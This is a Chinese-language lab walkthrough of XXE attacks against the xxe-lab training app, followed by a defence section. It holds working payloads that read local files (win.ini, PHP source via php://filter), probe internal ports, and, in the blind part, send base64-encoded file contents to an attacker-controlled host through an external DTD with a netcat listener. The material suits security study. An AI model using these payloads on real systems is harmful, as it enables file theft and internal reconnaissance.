0x01 靶场概述xxe-lab是一个使用PHP,Java,python,C#四种当下最常用语言的网站编写语言来编写的一个存在xxe漏洞的Web demo。 靶场地址:https://github.com/c0ny1/xxe-lab 0x02 XXE靶场接下来,我们简单来看一下xxe-lab靶场的靶场逻辑。打开该目录下默认的index.html文件后,查看该文件源代码,可以看到在Login按钮下会触发javascript脚本的doLogin()函数,如下所示: 而JavaScript脚本的doLogin()函数如下所示: 从上图中可以看出,JavaScirpt脚本会将用户输入的username和password转化成xml格式的数据,并且利用ajax的方法提交,提交时xml格式的数据被当作Post数据包的内容进行提交。
在该PHP文件中,主要是接收POST请求的内容, 并将其转化为XML对象,然后提取XML对象中的username和password字段。然后比对username和password是否相等。注意,在这个靶场中if else语句逻辑似乎出现了错误,相等时result返回的结果应该是0,而不相等时result返回的结果应该是1。 在上述代码中,关键函数如下: 1、libxml_disable_entity_loader(False) 这段代码意思是设置允许PHP加载外部实体,这也是本靶场的漏洞产生主要原因。在生产环境下,需要将这里的False改为True,即可避免产生XXE漏洞。 2、loadXML() 该函数可以将一个输入的字符串转化为DOMDocument对象。 3、simplexml_import_dom 该函数可以把DOM节点转化为SimpleXMLElement对象。 靶场开始 输入任意账号密码进行抓包 观察请求包 构造XML声明和DTD部分,引用外部实体来进行实体调用 <?xml version='1.0'?> <!DOCTYPE Mikasa [ <!ENTITY test SYSTEM 'file:///c:/windows/win.ini'> ]> <user><username>&test;</username><password>Mikasa</password></user> 并且在元素中引用外部实体参数&test 查看回显 一般XXE利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe可以使用外带数据通道提取数据xxe-lab是有回显的 0x03 基础利用有回显的XXE漏洞 我们先以有回显的XXE漏洞进行测试来看看XXE的利用方式 1.文件读取: file:/// #file协议读取文件 http://url/file.txt #http协议读取站点下的文件 PHP://filter #文件流形式读取php文件 但是若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析。那我们若是要读取php文件则可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts 方法对内容进行base64编码,看下面: PHP://filter/read=convert.base64-encode/resource=D:/phpstudy/WWW/test/Bachang/XXE/php_xxe/doLogin.php 对读取的内容进行base64解码: 2、内网探测 XXE可以访问外部的url,具有和ssrf类似的效果,可以利用xxe进行内网探测 DOMDocument::loadXML(http://127.0.0.1:902): failed to open stream: HTTP request failed! 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supp in <b>D:\phpstudy\WWW\test\Bachang\XXE\php_xxe\doLogin.php 探测到了902的VMware服务,XXE的内网探测不像SSRF的内网探测那样强大,挺鸡肋的 3.DDOS攻击 该攻击通过构建一项递归的XML定义,在内存中生成十亿个“abc”字符串,从而导致DDOS攻击。原理为构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击 无回显的XXE漏洞 找了几个靶场没有找到盲注的XXE漏洞,那我们将这题假设为盲注,不看Burp右边的显示 1.查看受攻击机的服务器日志 2.通过Dnslog平台查看是否进行查询 3.Burp Collaborator Everywhere 插件验证 现有两台机器,一台是以BT面板搭建的,具有XXE-lab靶场的CentOS7虚拟机,IP为192.168.1.102 一台是我的windows10主机,以phpstudy搭建而成,IP为192.168.1.101 两台机器可以互通 实验中,我以我的windows主机模拟具有公网ip的主机(因为实战情况下XML解析器只能解析公网ip),通过xxe漏洞读取windows主机上的文件 查看访问日志验证是否具有XXE漏洞查看访问日志验证是否具有XXE漏洞 实验开始:读取公网ip主机中的文件(假设) 1.查看受攻击机的服务器日志 在本题是盲注的情况下右侧返回包中是不存在内容的,而我们要看是否具有XXE漏洞就看是否192.168.1.101的公网ip(假设)上是否收到来自其他主机的访问记录,查看公网ip主机(假设)的apache或nginx访问记录: 可以看到确实收到了受攻击机的访问记录,说明受攻击机解析了XML内容,来访问了我们的公网ip主机(假设是公网ip主机) 基于此,在实战中我们面对盲注时,构造xml内容让其访问我们能够控制的主机,然后查看我们能够控制的主机上是否具有来自受攻击机的访问记录就可确定是否有XML注入。 其实在我们攻击具有XXE漏洞的服务器时,受攻击服务器进行了两次响应,如果查看受攻击的服务器上的日志会发现两条记录:一次是对XML进行解析后对另一台远程服务器的访问,一次是访问服务器自身上具有XXE漏洞的文件。有访问就有回复,另一台我们可以控制的远程服务器上的日志就会记录受攻击服务器的访问记录抛给它一个404. 2.查看DNS解析记录 在攻击中,我们可以使受攻击服务器访问 DNS解析平台——dnslog.cn或平台 刷新,可以看到解析记录 ![]() 点击copy to clipboard将随机生成一个url用于测试 将url填入XXE 可以看到Collaborator中收到了DNS解析记录和HTTP访问记录 以上只是说明该服务器具有XXE盲注,而若是要以盲注读取到信息还需要更进一步 盲注读取文件 test.dtd <!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/READEME.md'> <!ENTITY % int '<!ENTITY % send SYSTEM 'http://eovpu4./?p=%file;'>'> 通过加载服务器下的test.dtd文件,将读取的文件传递给 http://eovpu4./?p=%file(该网址后面有解释) <!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://192.168.1.101/test.dtd'>%remote;%int;%send;]> 调用过程解释如下: %remote请求远程vps上的test.dtd %int调用test.dtd中的%file %file获取被攻击服务器上的敏感文件,并传入%send %send将数据发送到上 也解释以下test.dtd文件中的 % 此处如果直接使用%号,会出现报错: DOMDocument::loadXML(): Entity Value: '%’ forbidden except for entities %不允许出现在 Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字) 解释以下,平台, 通过自己的 DNS 服务器和 HTTP 服务器监控 DNS 查询和 HTTP 请求,它还可以创建自定义文件作为在线负载。它可以帮助安全研究人员在测试漏洞(例如 SSRF/XXE/RFI/RCE)时收集信息 演示XXE盲注: 在公网ip上上传test.dtd,内容为: <!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md'> <!ENTITY % int '<!ENTITY % send SYSTEM 'http://eovpu4./?p=%file;'>'> 对XXE服务器进行攻击: <?xml version='1.0' encoding='utf-8'?><!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://39..xxx/test.dtd'>%remote;%int;%send;]> 因为是盲注,所以读取到的内容会发送到http://eovpu4./?p=%file的“p”参数中 放包 去查看记录,如下图 我们把p参数后的内容放到Burp中进行解码: 一些特殊符号是中文,不用管它。 至此我们成功通过盲注读取到了XXE-lab服务器下的文件。 如果不使用平台,则可以把读取到的信息发送到公网ip的一个HTTP监听端口上 payload: <!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://39.xxx./test.dtd'> %remote;%int;%send; ]> test.dtd <!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md'><!ENTITY % int '<!ENTITY % send SYSTEM 'http://39.xxx.:4444?p=%file;'>'> 公网服务器上开启监听: python -m SimpleHTTPServer 4444 或 nc -lvvp 4444 XXE漏洞利用工具https://github.com/luisfontes19/xxexploiter XXE危害危害1:读取任意文件 0x04 XXE漏洞修复与防御xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。 防御方案一:使用开发语言提供的禁用外部实体的方法 PHP libxml_disable_entity_loader(true); JAVA DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); Python from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 防御方案二:过滤用户提交的XML数据 过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC |
|